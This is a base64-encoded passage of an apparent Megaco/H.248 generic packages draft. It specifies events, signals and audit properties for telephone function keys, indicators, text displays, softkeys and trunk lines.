bj4NCiAgICAgICAiZj8/PyIgICAtIEZ1bmN0aW9uS2V5PG4+DQoNCiAgIDMuNC4yLiAgRXZlbnRz
DQoNCiAgIDMuNC4yLjEuIEV2ZW50IENvbmZpZ3VyYXRpb24NCgwNCkthbGxhcyBCaWxhbGlzICAg
ICAgICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2thZ2VzICAgICAgICBQYWdlIDE1DQoNCg0K
ICAgMy40LjIuMS4xIEZ1bmN0aW9uIEtleSBEb3duOiBTaG9ydCBuYW1lIGtkd24NCg0KDQogICAz
LjQuMi4xLjIgRGlhbHBhZCBLZXkgVXA6IFNob3J0IG5hbWUga3VwDQoNCg0KICAgMy40LjIuMi4g
T2JzZXJ2ZWQgRXZlbnRzDQoNCg0KICAgMy40LjIuMi4xIEZ1bmN0aW9uIEtleSBEb3duOiBTaG9y
dCBuYW1lIGtkd24NCg0KICAgRXZlbnQgUGFyYW1ldGVyczoNCg0KICAga2V5SWQgICAgICAtIGlu
dGVnZXI6IGZ1bmN0aW9uIGtleSBpZA0KICAgbmFtZVN0ciAgICAtIHN0cmluZzogY29udGFpbmlu
ZyBzdG9yZWQgbmFtZSB2YWx1ZQ0KDQogICAzLjQuMi4yLjIgRGlhbHBhZCBLZXkgVXA6IFNob3J0
IG5hbWUga3VwDQoNCiAgIEV2ZW50IFBhcmFtZXRlcnM6DQoNCiAgIGtleUlkICAgICAgLSBpbnRl
Z2VyOiBmdW5jdGlvbiBrZXkgaWQNCiAgIG5hbWVTdHIgICAgLSBzdHJpbmc6IGNvbnRhaW5pbmcg
c3RvcmVkIG5hbWUgdmFsdWUNCiAgIGR1cmF0aW9uICAgLSBpbnRlZ2VyOiBrZXkgcHJlc3MgZHVy
YXRpb24gaW4gbWlsbGlzZWNvbmRzDQoNCiAgIDMuNC4zLiAgU2lnbmFscw0KDQogICAzLjQuMy4x
IEFzc2lnbiBGdW5jdGlvbiBLZXkgTmFtZQ0KDQogICBTaG9ydCBuYW1lOiBhc2dubQ0KDQogICBT
aWduYWwgUGFyYW1ldGVyczoNCg0KICAga2V5SWQgICAgICAtIGludGVnZXI6IGZ1bmN0aW9uIGtl
eSBpZA0KICAgbmFtZVN0ciAgICAtIHN0cmluZzogY29udGFpbmluZyBzdG9yZWQgbmFtZSB2YWx1
ZQ0KDQogICAzLjQuNCBTdGF0aXN0aWNzDQoNCiAgIE5vbmUNCg0KDQogICAzLjUgSW5kaWNhdG9y
IFBhY2thZ2UNCg0KICAgU2hvcnQgbmFtZTogaW5kDQoNCiAgIFNpZ25hbHMgYXNzb2NpYXRlZCB3
aXRoIHRoZSBjb21tb24gdGVsZXBob25lIGluZGljYXRvcnMgYXJlIGRlZmluZWQNCiAgIGluIHRo
aXMgcGFja2FnZS4gVGhpcyBhbGxvd3MsIGZvciBleGFtcGxlLCBpbmRpY2F0b3JzIHRvIGJlDQog
ICBpbXBsZW1lbnRlZCB3aXRob3V0IHNwZWNpZmljIGtub3dsZWRnZSBvZiB0aGUgcGh5c2ljYWwg
bGF5b3V0IG9mIHRoZQ0KICAgdGVsZXBob25lLiAgSW5kaWNhdG9ycyBtYXkgaGF2ZSB3ZWxsIGtu
b3duIGlkZW50aWZpZXIgbmFtZXMsIGZvcg0KDA0KS2FsbGFzIEJpbGFsaXMgICAgICAgICAgTWVn
YWNvL0guMjQ4IEdlbmVyaWMgUGFja2FnZXMgICAgICAgIFBhZ2UgMTYNCg0KICAgZXhhbXBsZTog
bWVzc2FnZSB3YWl0aW5nLCBob2xkLCBsaW5lIGFjdGl2ZSwgYW5kIG1heSBiZSBhbHRlcmFibGUg
YXMNCiAgIGluIEZ1bmN0aW9uIEtleSBQYWNrYWdlLg0KDQoNCiAgIDMuNS4xIFByb3BlcnRpZXMg
QXVkaXQNCg0KICAgR2F0ZXdheSBQcm9wZXJ0aWVzIEF1ZGl0DQoNCiAgIDMuNS4xLjIgIFRlcm1p
bmF0aW9uIFByb3BlcnRpZXMgQXVkaXQNCg0KICAgMy41LjEuMi4xIEluZGljYXRvcnMgTGlzdA0K
DQogICBTaG9ydCBuYW1lOiBsaXN0DQoNCiAgIFJldHVybiB2YWx1ZXM6IFJldHVybnMgbGlzdCBv
ZiBhbGwgaW5kaWNhdG9ycw0KICAgTGlzdCAgLSBTdHJpbmcgcmVwcmVzZW50aW5nOiAoaW5kaWNh
dG9yICooLGluZGljYXRvcikpDQogICBpbmRpY2F0b3IgPSAoaWQsIG5hbWUgaWYgYXNzaWduZWQs
IGF0dHJpYnV0ZXMpLg0KDQogICBMaXN0IEV4YW1wbGU6ICIoMCwsWSksKDEsTGluZUtleTEsWSks
KDIsNTI0ODksWSksKDMsSG9sZCxOKSIgPz8/DQogICBQZXRlcg0KDQogICBUaGUgc3RhbmRhcmQg
aW5kaWNhdG9yIHdlbGwga25vd24gbmFtZXMgaW5jbHVkZToNCg0KICAgICAgIm13YXQiICAgIC0g
TWVzc2FnZSB3YWl0aW5nIGluZGljYXRvcg0KICAgICAgImhvbGQiICAgIC0gSG9sZCBPbi9PZmYN
CiAgICAgICJjb25mIiAgICAtIENvbmZlcmVuY2UNCiAgICAgICJyaW5nIiAgICAtIFJpbmdlci9B
bGVydGVyDQogICAgICAibD8/PyIgICAgLSBMaW5lPG4+DQogICAgICAiZj8/PyIgICAgLSBGdW5j
dGlvbiBpbmRpY2F0b3I8bj4NCg0KDQogICBUaGUgc3RhbmRhcmQgYXR0cmlidXRlcyBpbmNsdWRl
Og0KDQogICAgICAqIG9uLCBvZmYsIGJsaW5rLCBmYXN0IGJsaW5rLCBzbG93IGJsaW5rLCBpbnZl
cnQsIGNvbG9yLiA/Pz8/DQoNCiAgIFtbIE5vdGU6IE5lZWQgdG8gZGVmaW5lIGF0dHJpYnV0ZXMg
YXBwcm9wcmlhdGUgZm9yIGF1ZGlibGUgYWxlcnRzDQogICBzdWNoIGFzIHJpbmdpbmcsIHBhZ2Us
IHBvc3NpYmx5IGVycm9yIHRvbmVzIGV0Yy4gIFRoZXNlIG1heSBuZWVkIHRvDQogICBiZSBhbGln
bmVkIHdpdGggb3RoZXIgTWVnYWNvIHBhY2thZ2VzLiBdXQ0KDQogICBbWyBJU1NVRTogU2hvdWxk
IGNvbnNpZGVyIGFkZGl0aW9uYWwgcGFja2FnZSBzcGVjaWZpY2FsbHkgZm9yDQogICBhdWRpYmxl
IGluZGljYXRvcnMuICBMZWZ0IGZvciBmdXJ0aGVyIHN0dWR5LiBdXQ0KDQogICAzLjUuMi4gIEV2
ZW50cw0KDQogICAzLjUuMi4xLiAgRXZlbnQgQ29uZmlndXJhdGlvbg0KDQogICBOb25lLg0KDQog
ICAzLjUuMi4yLiAgT2JzZXJ2ZWQgRXZlbnRzDQoMDQpLYWxsYXMgQmlsYWxpcyAgICAgICAgICBN
ZWdhY28vSC4yNDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFnZSAxNw0KDQogICBOb25lLg0K
DQogICAzLjUuMy4gIFNpZ25hbHMNCg0KICAgMy41LjMuMS4gU2V0IEluZGljYXRvcg0KDQogICBT
aG9ydCBuYW1lOiBTZXRJbmQNCg0KICAgU2lnbmFsIFBhcmFtZXRlcnM6DQoNCiAgIGluZGljYXRv
cklkICAgSW50ZWdlcg0KICAgYXR0cmlidXRlICAgICBvbiwgb2ZmLCBibGluaywgZmFzdF9ibGlu
aywgc2xvd19ibGluaywgaW52ZXJ0LCBjb2xvci4NCiAgID8/Pw0KDQogICB7e0FkZCBuYW1lU3Ry
IHBhcmFtZXRlciwgdG8gYWxsb3cgU2V0SW5kaWNhdG9yIGJ5IG5hbWU/ICBDb3VsZCBhbHNvDQog
ICBiZSBzZXBhcmF0ZSBjb21tYW5kLCBlZy4gU2V0SW5kaWNhdG9yQnlOYW1lKCkgfX0NCg0KICAg
NS40LjMuMi4gU2V0IE5hbWUNCg0KICAgU2hvcnQgbmFtZTogU2V0TmFtZQ0KDQogICBpbmRpY2F0
b3JJZCAgSW50ZWdlcg0KICAgbmFtZVN0ciAgICAgIHN0cmluZw0KDQogICA1LjQuNC4gU3RhdGlz
dGljcw0KDQogICBOb25lLg0KDQoNCg0KDQoNCg0KDQoNCg0KDQogICAzLjYuIE1vbm9jaHJvbWUg
VGV4dCBEaXNwbGF5IFBhY2thZ2UNCg0KICAgU2hvcnQgbmFtZTogIG10ZGlzcA0KDQogICBUaGUg
dGV4dCBkaXNwbGF5IHBhY2thZ2Ugc3VwcG9ydHMgc2lnbmFscyBhc3NvY2lhdGVkIHdpdGggdGhl
IHRleHQNCiAgIGRpc3BsYXkgZWxlbWVudHMuDQoNCiAgIENhcnJpYWdlIHJldHVybiA8VW5pY29k
ZSBVKzAwMEQ+IGlzIHN1cHBvcnRlZCBpbi1zdHJpbmcsIGFuZCBtb3Zlcw0KICAgdGhlIHRleHQg
aW5wdXQgdG8gdGhlIGJlZ2lubmluZyBvZiB0aGUgbmV4dCBsaW5lLCBjbGVhcmluZyB0aGUNCiAg
IHJlbWFpbmRlciAoaWYgYW55KSBvZiB0aGUgY3VycmVudCBsaW5lLiBUZXh0IHdyYXBwaW5nIGlz
IG5vdA0KICAgcHJvdmlkZWQuDQoMDQpLYWxsYXMgQmlsYWxpcyAgICAgICAgICBNZWdhY28vSC4y
NDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFnZSAxOA0KDQogICBVbmljb2RlIGlzIHN1cHBv
cnRlZCB0byBwcm92aWRlIHN1cHBvcnQgZm9yIG11bHRpcGxlIGxhbmd1YWdlcy4gIFRoZQ0KICAg
VW5pY29kZSBTdGFuZGFyZCwgVmVyc2lvbiAyLjAgb3IgSVNPL0lFQyAxMDY0Ni0xOjE5OTMgc2hh
bGwgYmUgdGhlDQogICBkZWZpbml0aXZlIHN0YW5kYXJkIGludGVuZGVkIHdoZW4gdGhlIHRlcm0g
VW5pY29kZSBpcyB1c2VkIHdpdGhpbg0KICAgdGhlIGNvbnRleHQgb2YgdGhpcyBkb2N1bWVudC4g
IEFsbCB0ZXh0IGRpc3BsYXkgZWxlbWVudHMgc2hhbGwgYXQNCiAgIGxlYXN0IHN1cHBvcnQgdGhl
IFVuaWNvZGUgcGFnZXMgVSswMDAwIC0+IFUrMDBmZiBhcyB0aGUgYmFzaWMNCiAgIGNoYXJhY3Rl
ciBzZXQuICBBbGwgb2YgdGhlIHRleHQgc3RyaW5ncyBzaGFsbCBiZSBlbmNvZGVkIHVzaW5nIFVU
Ri04DQogICBhcyBkZWZpbmVkIGluIElTTy9JRUMgMTA2NDYgQU0xLg0KDQogICBQcm9wZXJ0eSBB
dWRpdA0KDQogICBHYXRld2F5IFByb3BlcnR5IEF1ZGl0DQoNCiAgIFJldHVybnMgdGhlIG51bWJl
ciBvZiBkaXNwbGF5cyBzdXBwb3J0ZWQgKGludGVnZXIgdmFsdWUpIGFuZCBhbiBJRHMNCiAgIGZv
ciBlYWNoIGRpc3BsYXkgKGludGVnZXIgdmFsdWUpLg0KDQogICAzLjYuMS4yICBUZXJtaW5hdGlv
biBQcm9wZXJ0eSBBdWRpdA0KDQogICBSZXR1cm5zIGEgZGlzcGxheSdzIHBhcmFtZXRlcnMNCiAg
IG5yb3dzICAgICAgICAgICAgICAgIC0gaW50ZWdlcjogbnVtYmVyIG9mIHJvd3MNCiAgIG5jb2xz
ICAgICAgICAgICAgICAgIC0gaW50ZWdlcjogbnVtYmVyIG9mIGNvbHVtbnMNCiAgIGNkcGdzICAg
ICAgICAgICAgICAgIC0gc3RyaW5nOiBsaXN0IG9mIHN1cHBvcnRlZCBVbmljb2RlIGNvZGUgcGFn
ZXMNCiAgIGNwb3MgICAgICAgIC0gY3VycmVudCBjdXJzb3IgcG9zaXRpb246IHJvdyBhbmQgY29s
dW1uIG51bWJlcnMNCiAgIGNvbnRlbnQgICAgIC0gc3RyaW5nOiB0aGUgY3VycmVudCBkaXNwbGF5
IGNvbnRlbnQNCg0KICAgTm90ZTogcm93IGFuZCBjb2x1bW4gbnVtYmVyaW5nIGJlZ2luIGF0IDAu
ICBBIGRpc3BsYXkncyBvcmlnaW4gaXMNCiAgIHJvdyAwLCBjb2x1bW4gMC4NCg0KICAgSWYgYSB0
ZXh0IGRpc3BsYXkgZWxlbWVudCBzdXBwb3J0cyBtb3JlIHRoYW4gdGhlIG1hbmRhdG9yeSBVKzAw
MDAgLT4NCiAgIFUrMDBmZiBzeW1ib2wgc2V0LCBpdCBzaGFsbCByZXNwb25kIHRvIGFuIEF1ZGl0
IHF1ZXJ5IG9mIHRoZQ0KICAgc3VwcG9ydGVkIGNoYXJhY3RlciBzZXRzIGJ5IHByb3ZpZGluZyB0
aGUgaGlnaCBvcmRlciBvY3RldCBwbHVzIHRoZQ0KICAgaGlnaCBvcmRlciBiaXQgb2YgdGhlIGxv
d2VyIG9jdGV0IG9mIGVhY2ggc3VwcG9ydGVkIGNoYXJhY3RlciBzZXQuDQoNCiAgIEZvciBleGFt
cGxlLCBpZiB0aGUgdGV4dCBkaXNwbGF5IGVsZW1lbnQgc3VwcG9ydHMgVSsyNTAwIC0+VSsyNWZm
LA0KICAgVSsyNjAwIC0+VSsyNmZmIGFuZCBVKzI3MDAgLT4gVSsyNzdmLCBpdCB3b3VsZCByZXR1
cm4gIjI1MCwgMjU4LA0KICAgMjYwLCAyNjgsIDI3MCIgaW4gY2RwZ3MuDQoNCg0KICAgMy42LjIu
ICBFdmVudHMNCg0KICAgMy42LjIuMS4gIEV2ZW50IENvbmZpZ3VyYXRpb24NCg0KICAgTm9uZS4N
Cg0KICAgMy42LjIuMi4gIE9ic2VydmVkIEV2ZW50DQoNCiAgIE5vbmUuDQoNCiAgIDMuNi4zLiAg
U2lnbmFscw0KDQogICAzLjYuMy4xLiBEaXNwbGF5DQoMDQpLYWxsYXMgQmlsYWxpcyAgICAgICAg
ICBNZWdhY28vSC4yNDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFnZSAxOQ0KDQoNCiAgIFNo
b3J0IG5hbWU6IGRpc3ANCg0KICAgVGhpcyBpcyBhIHRleHQgZGlzcGxheSBzaWduYWwuDQoNCiAg
IFNpZ25hbCBQYXJhbWV0ZXJzDQoNCiAgIHJvdyAgICAgICAgICAgLSBpbnRlZ2VyDQogICBjb2x1
bW4gICAgICAgIC0gaW50ZWdlcg0KICAgc3RyICAgICAgICAgICAtIHN0cmluZw0KICAgYXR0cmli
dXRlICAgICAtIHN0cmluZyAoT1Igb2YgYmxpbmssIGludmVydCwgdW5kZXJsaW5lKQ0KICAgICAg
ICAgICAgICAgICAgICBleGFtcGxlOiAiYXR0cmlidXRlPWludmVydCINCiAgICAgICAgICAgICAg
ICAgICBleGFtcGxlOiAiYXRyaWJ1dGU9YmxpbmsrdW5kZXJsaW5lIiAoT1InaW5nIG9mDQogICBh
dHRyaWJ1dGVzKQ0KDQogICBOb3RlIDE6IFRleHQgd2lsbCBiZSBpbnNlcnRlZCBiZWdpbm5pbmcg
YXQgdGhlIHJvdyBhbmQgY29sdW1uIGdpdmVuDQogICBpbiB0aGUgc2lnbmFsIHBhcmFtZXRlcnMu
ICBJZiBubyByb3cgYW5kIGNvbHVtbiBwYXJhbWV0ZXJzIGFyZQ0KICAgZ2l2ZW4sIHRoZSB0ZXh0
IHdpbGwgYmUgaW5zZXJ0ZWQgc3RhcnRpbmcgYXQgdGhlIGN1cnJlbnQgY3Vyc29yDQogICBwb3Np
dGlvbi4gIFRoZSBjdXJyZW50IGN1cnNvciBwb3NpdGlvbiB3aWxsIGFsd2F5cyBiZSBhZHZhbmNl
ZCB0bw0KICAgdGhlIHBvc2l0aW9uIGltbWVkaWF0ZWx5IGFmdGVyIHRoZSBsYXN0IGNoYXJhY3Rl
ciBpbnNlcnRlZC4NCg0KICAgTm90ZSAyOiBUaGUgYXR0cmlidXRlIHdpbGwgYXBwbHkgdG8gYWxs
IGNoYXJhY3RlcnMgY29udGFpbmVkIGluIHRoZQ0KICAgc2lnbmFsLiAgSWYgbm8gYXR0cmlidXRl
IGlzIHByb3ZpZGVkLCBwbGFpbiB0ZXh0IHdpbGwgYmUgZGlzcGxheWVkLg0KICAgVG8gdHVybiBv
biBhbiBhdHRyaWJ1dGUgaW4gdGhlIG1pZGRsZSBvZiBhIHN0cmluZywgb25lIHdvdWxkIHNlbmQg
YQ0KICAgc2lnbmFsIHdpdGggYSBiZWdpbm5pbmcgc3ViLXN0cmluZyBvZiBwbGFpbiB0ZXh0LCBm
b2xsb3cgYnkgYSBzaWduYWwNCiAgIHdpdGggdGhlIGRlc2lyZWQgYXR0cmlidXRlKHMpIGZvciB0
aGUgbWlkZGxlIHN1Yi1zdHJpbmcsIGFuZA0KICAgZmluaXNoaW5nIHdpdGggdGhlIHNpZ25hbCBj
b250YWluaW5nIHRoZSByZW1haW5pbmcgc3ViLXN0cmluZyBvZg0KICAgcGxhaW4gdGV4dC4NCg0K
ICAgTm90ZSAzOiBBIHN0cmluZyB3aWxsIG5vdCB3b3JkIHdyYXAgdG8gdGhlIG5leHQgcm93LiAg
SWYgYSBzdHJpbmcNCiAgIGNhbm5vdCBmaXQgaW50byB0aGUgY3VycmVudCByb3csIGl0IHdpbGwg
YmUgdHJ1bmNhdGVkIHdpdGhvdXQNCiAgIHdhcm5pbmcuDQoNCiAgIDMuNi4zLjIgQ2xlYXIgRGlz
cGxheQ0KDQogICBTaG9ydCBuYW1lOiBjbERpc3ANCg0KICAgVGhpcyBzaWduYWwgY2xlYXJzIHRo
ZSBlbnRpcmUgZGlzcGxheSBhbmQgcmVzZXRzIHRoZSBjdXJyZW50IGN1cnNvcg0KICAgcG9zaXRp
b24gdG8gdGhlIG9yaWdpbiAocm93IDAsIGNvbHVtbiAwKS4NCg0KICAgU2lnbmFsIFBhcmFtZXRl
cnM6DQoNCiAgIE5vbmUuDQoNCg0KICAgMy42LjQgU3RhdGlzdGljcw0KDQogICBOb25lLg0KDA0K
S2FsbGFzIEJpbGFsaXMgICAgICAgICAgTWVnYWNvL0guMjQ4IEdlbmVyaWMgUGFja2FnZXMgICAg
ICAgIFBhZ2UgMjANCg0KICAgMy43ICBTb2Z0a2V5IFBhY2thZ2UNCg0KICAgU2hvcnQgbmFtZTog
c2tleQ0KDQogICBTb2Z0a2V5cyBhcmUgYSBjb21iaW5hdGlvbiBvZiBhIGZ1bmN0aW9uIGtleSBh
bmQgYSBkaXNwbGF5IGVsZW1lbnQsDQogICBzaGFyaW5nIHNvbWUgYmVoYXZpb3Igb2YgZWFjaC4g
IFNvZnRrZXlzIGFyZSBkeW5hbWljYWxseSBjb25maWd1cmVkDQogICBieSB0aGUgTUdDIGJhc2Vk
IG9uIHRoZSBjdXJyZW50IHN0YXRlIGFuZCBjb250ZXh0IG9mIHRoZSBhcHBsaWNhdGlvbg0KICAg
Y29udHJvbGxpbmcgdGhlIElQIFBob25lIE1HLg0KDQogICBTb2Z0a2V5IGlkZW50aWZpZXJzIGFy
ZSBpbmRleGVkIDEsMi4uLk4uICBOIGlzIHRoZSBtYXhpbXVtIG51bWJlciBvZg0KICAgc29mdGtl
eXMgc3VwcG9ydGVkIGJ5IGEgc3BlY2lmaWMgSVAgUGhvbmUgTUcuDQoNCiAgIDMuNy4xLiAgR2F0
ZXdheSBQcm9wZXJ0eSBBdWRpdA0KDQogICBQb3NzaWJsZSB2YWx1ZXM6IFJldHVybnMgYSBsaXN0
IG9mIFNvZnRrZXlzDQogICBzb2Z0S2V5TGlzdCA9IChudW1iZXJPZlNvZnRrZXlzLCBkaXNwbGF5
U2l6ZSwgc3VwcG9ydGVkQ2hhclNldCwNCiAgIHNvZnRrZXkgKigsc29mdGtleSkpDQoNCiAgIG51
bWJlck9mU29mdGtleXMgID0gaW50ZWdlcg0KICAgZGlzcGxheVNpemUgICAgICAgPSBpbnRlZ2Vy
IDsgbnVtYmVyIG9mIGNoYXJhY3RlcnMNCiAgIHN1cHBvcnRlZENoYXJTZXQgID0gVW5pY29kZSBj
aGFyYWN0ZXIgc2V0cyBzdXBwb3J0ZWQNCiAgIHNvZnRrZXkgICAgICAgICAgID0gKG5hbWVTdHIs
IGRpc3BsYXlDb250ZW50KQ0KICAgbmFtZVN0ciAgICAgICAgICAgPSBjaGFyYWN0ZXIgc3RyaW5n
DQogICBkaXNwbGF5Q29udGVudCAgICA9IFVuaWNvZGUgY2hhcmFjdGVyIHN0cmluZw0KDQogICAz
LjcuMi4gIEV2ZW50cw0KDQogICAzLjcuMi4xLiAgRXZlbnQgQ29uZmlndXJhdGlvbg0KDQogICBO
b25lLg0KDQogICAzLjcuMi4yLiAgT2JzZXJ2ZWQgRXZlbnRzDQoNCiAgIDMuNy4yLjIuMSBLZXkg
RG93bg0KDQogICBTaG9ydCBuYW1lOiBrZXlEb3duDQoNCiAgIEV2ZW50IFBhcmFtZXRlcnM6DQoN
CiAgIHNvZnRrZXlJZCAgICBpbnRlZ2VyDQogICBuYW1lU3RyICAgICAgJ0MnIHN0cmluZyBVVEYt
OCBjaGFyYWN0ZXJzDQoNCiAgIDMuNy4yLjIuMi4gIEtleSBVcA0KDQogICBTaG9ydCBuYW1lOiBr
ZXlVcA0KDQogICBFdmVudCBQYXJhbWV0ZXJzDQoNCiAgIG5hbWVTdHIgICAgJ0MnIHN0cmluZyBV
VEYtOCBjaGFyYWN0ZXJzDQogICBkdXJhdGlvbiAgICBzb2Z0a2V5IHByZXNzIGR1cmF0aW9uIGlu
IG1pbGxpc2Vjb25kcw0KDA0KS2FsbGFzIEJpbGFsaXMgICAgICAgICAgTWVnYWNvL0guMjQ4IEdl
bmVyaWMgUGFja2FnZXMgICAgICAgIFBhZ2UgMjENCg0KDQoNCiAgIDMuNy4zLiAgU2lnbmFscw0K
DQogICAzLjcuMy4xLiBTZXQgTmFtZQ0KDQogICBTb2Z0a2V5IG1hcHBpbmcgY29tbWFuZDoNCg0K
ICAgU2hvcnQgbmFtZTogc2V0TmFtZQ0KDQogICBTaWduYWwgUGFyYW1ldGVyczoNCg0KICAgc29m
dGtleUlkICAgaW50ZWdlcg0KICAgbmFtZVN0ciAgICAgJ0MnIHN0cmluZywgOC1iaXQgVVRGLTgg
ZW5jb2RpbmcNCg0KICAgTm90ZTogU2V0TmFtZSB3aXRoIGEgbnVsbCBzdHJpbmcgY2xlYXJzIHRo
ZSBzb2Z0a2V5LCBpLmUuIHRoZQ0KICAgc29mdGtleSBiZWNvbWVzIGJsYW5rIGFuZCBpbmFjdGl2
ZS4NCg0KICAgMy43LjMuMi4gIERpc3BsYXkNCg0KICAgU29mdGtleSBjb250cm9sIGNvbW1hbmQg
dGhhdCBzZXRzIHNvZnRrZXkgZGlzcGxheSB0ZXh0Lg0KDQogICBTaG9ydCBuYW1lOiBkaXNwbGF5
DQoNCiAgIFNpZ25hbCBQYXJhbWV0ZXJzOg0KDQogICBzb2Z0a2V5SWQgICBpbnRlZ2VyDQogICBy
b3cgICAgICAgICBpbnRlZ2VyDQogICBjb2x1bW4gICAgICBpbnRlZ2VyDQogICBzdHIgICAgICAg
ICAnQycgc3RyaW5nLCA4LWJpdCBVVEYtOCBlbmNvZGluZw0KICAgYXR0cmlidXRlICAgT1Igb2Yg
YmxpbmssIGludmVydCAoVEJEKQ0KDQoNCiAgIHt7QWRkIG5hbWVTdHIgcGFyYW1ldGVyLCB0byBh
bGxvdyBEaXNwbGF5IGJ5IFNLIG5hbWU/ICBDb3VsZCBhbHNvIGJlDQogICBzZXBhcmF0ZSBjb21t
YW5kLCBlZy4gRGlzcGxheUJ5TmFtZSgpLiAgU2FtZSBpc3N1ZSBhcyBpbiBJbmRpY2F0b3IuDQog
ICB9fQ0KICAgW1sgTm90ZTogU2hvdWxkIGNvbnNpZGVyIGNvbG9yIChmb3JlZ3JvdW5kIGFuZCBi
YWNrZ3JvdW5kKSBoZXJlLg0KICAgTGVmdCBmb3IgZnVydGhlciBzdHVkeS4gXV0NCg0KICAgMy43
LjQuIFN0YXRpc3RpY3MNCg0KICAgMy44IFRydW5rIEdlbmVyaWMNCiAgIDMuOC4xIFRydW5rIEdl
bmVyaWMgUGFja2FnZQ0KICAgU2hvcnQgbmFtZTogdHJ1bmtnZW4NCg0KICAgVGhlIFRydW5rIEdl
bmVyaWMgcGFja2FnZSBncm91cHMgbm9uLXNwZWNpYWxpc2VkIGV2ZW50cyBhbmQgc2lnbmFscw0K
ICAgZm9yIHRydW5rIGxpbmVzLiBUaG9zZSBjYW4gYmUgdXNlZCB3aXRoIElTVVAgKElUVSBRLjc2
NCksIFRVUCAoSVRVDQogICBRLjcyNCkgYW5kIENBUyAoZS5nLiBSMjpJVFUgUS40MDAgdG8gUS40
OTApLg0KICAgMy44LjIgR2F0ZXdheSBQcm9wZXJ0aWVzIGF1ZGl0DQoMDQpLYWxsYXMgQmlsYWxp
cyAgICAgICAgICBNZWdhY28vSC4yNDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFnZSAyMg0K
DQogICAzLjguMyBFdmVudHMNCiAgIDMuOC4zLjEgRXZlbnQgQ29uZmlndXJhdGlvbg0KICAgMy44
LjMuMS4xIE1vZGVtIERldGVjdGVkDQogICBTaG9ydCBuYW1lOiBtb2RlbQ0KICAgU2lnbmFscyB0
aGUgZGV0ZWN0aW9uIG9mIGEgbW9kZW0gc2lnbmFsIG9uIHRoZSB0ZXJtaW5hdGlvbi4NCg0KICAg
Q29uZmlndXJhdGlvbiBQYXJhbWV0ZXJzOg0KDQogICBzdHJlYW1pZCAgICAgSWQgb2YgdGhlIGF1
ZGlvIHN0cmVhbSB0byBwZXJmb3JtIHRoZSB0ZXN0IG9uLg0KDQogICAzLjguMy4xLjIgRmF4IFRv
bmUgRGV0ZWN0ZWQNCiAgIFNob3J0IG5hbWU6IGZheHRvbmUNCiAgIFNpZ25hbHMgdGhlIGRldGVj
dGlvbiBvZiBhIGZheCB0b25lIG9uIHRoZSB0ZXJtaW5hdGlvbi4NCg0KICAgQ29uZmlndXJhdGlv
biBQYXJhbWV0ZXJzOg0KDQogICBzdHJlYW1pZCAgICAgSWQgb2YgdGhlIGF1ZGlvIHN0cmVhbSB0
byBwZXJmb3JtIHRoZSB0ZXN0IG9uLg0KDQoNCiAgIDMuOC4zLjEuMyBSZXBvcnQgRmFpbHVyZQ0K
ICAgU2hvcnQgbmFtZTogcmVwZmFpbA0KDQogICBTaWduYWxzIG9uIHRoZSB0ZXJtaW5hdGlvbiB0
aGUgZGV0ZWN0aW9uIG9mIGEgZmFpbHVyZSBkdWUgdG8NCiAgIGV4dGVybmFsIG9yIGludGVybmFs
IChpbiB0aGUgTWVkaWEgR2F0ZXdheSkgcmVhc29ucy4NCg0KICAgQ29uZmlndXJhdGlvbiBQYXJh
bWV0ZXJzOg0KDQogICBzdHJlYW1pZCAgICAgSWQgb2YgdGhlIGF1ZGlvIHN0cmVhbSB0byByZXBv
cnQgZmFpbHVyZSBvbi4NCg0KICAgMy44LjMuMiBPYnNlcnZlZCBFdmVudHMNCiAgIDMuOC4zLjIu
MSBNb2RlbSBEZXRlY3RlZA0KICAgU2hvcnQgbmFtZTogbW9kZW0NCg0KICAgRXZlbnQgUGFyYW1l
dGVyczoNCg0KICAgbm9uZQ0KICAgMy44LjMuMi4yIEZheCBUb25lIERldGVjdGVkDQoNCiAgIFNo
b3J0IG5hbWU6IGZheHRvbmUNCg0KICAgRXZlbnQgUGFyYW1ldGVyczoNCg0KICAgTm9uZQ0KDQog
ICAzLjguMy4yLjMgUmVwb3J0IEZhaWx1cmUNCiAgIFNob3J0IG5hbWU6IHJlcGZhaWwNCg0KICAg
RXZlbnQgUGFyYW1ldGVyczoNCg0KICAgRXJyb3IgY29kZSAgIDIgYnl0ZXMgZGVzY3JpYmluZyB0
aGUgZmFpbHVyZSByZWFzb24NCgwNCkthbGxhcyBCaWxhbGlzICAgICAgICAgIE1lZ2Fjby9ILjI0
OCBHZW5lcmljIFBhY2thZ2VzICAgICAgICBQYWdlIDIzDQoNCiAgICAgICAgICAgICAgICAgICAg
ICAgIERlZmF1bHQ6IDAwMDAgKGludGVybmFsIGVycm9yKQ0KDQogICAzLjguNCBTaWduYWxzDQog
ICAzLjguNC4xIEJ1c3kgdG9uZQ0KICAgU2hvcnQgbmFtZTogYnRvbmUNCg0KICAgICAgICBQbGF5
IGJ1c3kgdG9uZSBpZiB0aGUgY2FsbGVkIHNpZGUgaXMgYnVzeSBhcyBnaXZlbiBpbiBFLjE4MC4N
Cg0KICAgU2lnbmFsIFBhcmFtZXRlcnM6DQogICBzdHJlYW1pZCAgICAgaWQgb2YgdGhlIGF1ZGlv
IHN0cmVhbSB0byBwbGF5IHRoZSBzaWduYWwgb24uDQoNCiAgIDMuOC40LjIgUmluZ2luZyBUb25l
ICh0aW1lb3V0KQ0KICAgU2hvcnQgbmFtZTogcmluZ2luZw0KDQogICBBIHRvbmUgYWR2aXNpbmcg
dGhlIGNhbGxlciB0aGF0IGEgY29ubmVjdGlvbiBoYXMgYmVlbiBtYWRlIGFuZCB0aGF0DQogICBh
IGNhbGxpbmcgc2lnbmFsIGlzIGJlaW5nIGFwcGxpZWQgdG8gYSB0ZWxlcGhvbmUgbnVtYmVyIG9y
IHNlcnZpY2UNCiAgIHBvaW50LiAoU2VlIElUVSBSZWMuIEUuMTgwIGFuZCBFLjE4MikNCg0KDQog
ICBTaWduYWwgUGFyYW1ldGVyczoNCg0KICAgc3RyZWFtaWQgICAgIGlkIG9mIHRoZSBhdWRpbyBz
dHJlYW0gdG8gcGxheSB0aGUgc2lnbmFsIG9uLg0KICAgRHVyYXRpb24gICAgIHJpbmdpbmcgdG9u
ZSBkdXJhdGlvbiBpbiBzZWNvbmRzDQoNCiAgIDMuOC40LjMgQ29uZ2VzdGlvbiBUb25lICh0aW1l
